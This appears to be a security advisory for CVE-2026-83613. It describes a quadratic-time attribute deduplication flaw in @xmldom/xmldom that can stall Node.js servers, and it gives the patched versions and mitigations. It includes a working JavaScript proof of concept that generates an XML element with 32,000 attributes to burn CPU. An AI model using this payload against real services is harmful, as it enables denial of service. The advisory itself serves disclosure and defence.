CVE-2026-83613: @xmldom/xmldom Quadratic-Time Attribute Deduplication DoS
Parsing a single XML element with a large number of distinct attributes causes @xmldom/xmldom to burn CPU time quadratically, letting an attacker stall a Node.js server with a small, well-formed…

The problem
Every attribute parsed by DOMHandler.startElement is inserted via setAttributeNode, which calls NamedNodeMap.setNamedItem. That method runs a full linear scan of all already-inserted attributes to check for duplicates before appending the new one. Inserting M distinct attributes therefore costs 1 + 2 + ... + M = O(M²) comparisons.
The trigger is a plain, well-formed XML document with one element and many attributes. No malformed markup, no special parser options, and no error events are involved. About 340 KB of input (32,000 attributes) consumes roughly 1.6-2 seconds of single-threaded CPU per parse call, and the payload compresses to a few kilobytes on the wire.
Proof of concept
A working proof-of-concept for CVE-2026-83613 in @xmldom/xmldom, with the exact payload below.
// PoC derived from the published advisory (GHSA-8344-3jmq-59r6)
// Run against @xmldom/xmldom >= 0.7.0, <= 0.8.14
'use strict';
var DOMParser = require('@xmldom/xmldom').DOMParser;
function buildDoc(m) {
var parts = new Array(m);
for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"';
return '<r ' + parts.join(' ') + '/>'; // <r a0="x" a1="x" ... a{M-1}="x"/>
}
// 32 000 distinct attributes => ~340 KB, ~1.6-2 s CPU on a modern host
var xml = buildDoc(32000);
var t0 = process.hrtime.bigint();
var doc = new DOMParser().parseFromString(xml, 'text/xml'); // no warning/error events
var ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log('parsed', doc.documentElement.attributes.length, 'attrs in', ms.toFixed(1), 'ms');
// Expected on vulnerable version: >> 1000 ms; doubles ~4x every time M doublesEach call to NamedNodeMap.setNamedItem invokes getNamedItem (0.8.x) or getNamedItemNS (0.9.x), both of which walk the entire existing attribute list in a while loop before appending. For M distinct attributes the total work is Θ(M²): no hash index exists, the map is a plain array-backed structure.
The fix (commit 2c548f200cfec991cd5846627ef8f03542309213 for 0.8.15, cfb09b5... for 0.9.12) replaces the per-insert linear scan on the parse-time dedup path with a null-prototype object used as a name-keyed membership index, reducing attribute collection construction to O(M).
Attribute order and duplicate resolution (last value wins, first position kept) are preserved exactly, so the change is fully behavior-compatible.
The fix
Upgrade to @xmldom/xmldom 0.8.15 or 0.9.12. The unscoped xmldom package (all versions through 0.6.0) has no patched release and should be migrated to @xmldom/xmldom. If an immediate upgrade is not possible, apply an input-size limit (byte cap or attribute-count cap) in the layer that feeds XML to the parser.
Related research
- highCVE-2026-83614CVE-2026-83614: @xmldom/xmldom Quadratic-Time Parsing ReDoS (DoS)
- highCVE-2026-83607CVE-2026-83607: @xmldom/xmldom Element Name Injection via createElement()
- highCVE-2026-83605CVE-2026-83605: @xmldom/xmldom Attribute Name Injection via setAttribute()
- highCVE-2026-83615CVE-2026-83615: @xmldom/xmldom Quadratic Memory DoS via Namespace Nesting